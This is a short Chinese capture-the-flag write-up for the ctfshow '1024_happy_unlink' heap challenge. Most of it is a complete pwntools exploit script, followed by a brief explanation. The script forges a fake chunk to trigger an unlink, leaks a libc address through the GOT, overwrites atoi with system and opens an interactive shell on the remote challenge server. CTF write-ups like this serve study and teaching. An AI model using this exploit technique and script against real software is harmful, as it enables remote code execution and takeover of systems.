ctfshow-36D杯-pwn(1024_happy_unlink )
一道很简单的unlink堆题目话不多说先上exp:
from pwn import *
context.log_level = 'debug'
r = remote('pwn.challenge.ctf.show',28109)
libc = ELF("./libc.so-1.6")
def add(idx,size):
r.recvuntil('choice')
r.sendline('1')
r.recvuntil('idx:')
r.sendline(str(idx))
r.recvuntil('size')
r.sendline(str(size))
def delete(idx):
r.recvuntil('choice')
r.sendline('2')
r.recvuntil('idx:')
r.sendline(str(idx))
def show(idx):
r.recvuntil('choice')
r.sendline('3')
r.recvuntil('idx:')
r.sendline(str(idx))
def edit(idx,content):
r.recvuntil('choice')
r.sendline('4')
r.recvuntil('idx:')
r.sendline(str(idx))
r.recvuntil('content')
r.sendline(content)
add(0,0x20)
add(1,0x38)
add(2,0x80)
add(4,0x20)
target = 0x6020e0+0x10#存放堆块索引的地址
fd = target - 0x18
bk = target - 0x10
payload = p64(0)+p64(0x30)+p64(fd)+p64(bk)+b"a"*0x10+p64(0x30)+p64(0x90)
edit(1,payload)
delete(2)
payload = b'a'*8+p64(0x602058)+p64(8)+p64(0x602058)+p64(8) #setvbuf
edit(1,payload)
show(1)
r.recv(1)
leak_addr = u64(r.recv(6)+b'\x00\x00') #__GI__IO_setvbuf
libc.address = leak_addr - libc.sym['atoi']
success("libc_base --> 0x%x",libc.address)
info("puts_got --> 0x%x",libc.sym['puts'])
info("system_got --> 0x%x",libc.sym['system'])
edit(1,p64(libc.sym['system']))
r.sendline(b'sh')
r.interactive()
先利用ida反汇编静态分析:
在edit函数上存在溢出
可以利用unlink把堆得地址挪移到target处,这样利用edit就可以把atoi地址写入进去,然后show得到,最后在修改堆地址就可以把atoi替换成system,传入payload成功getshell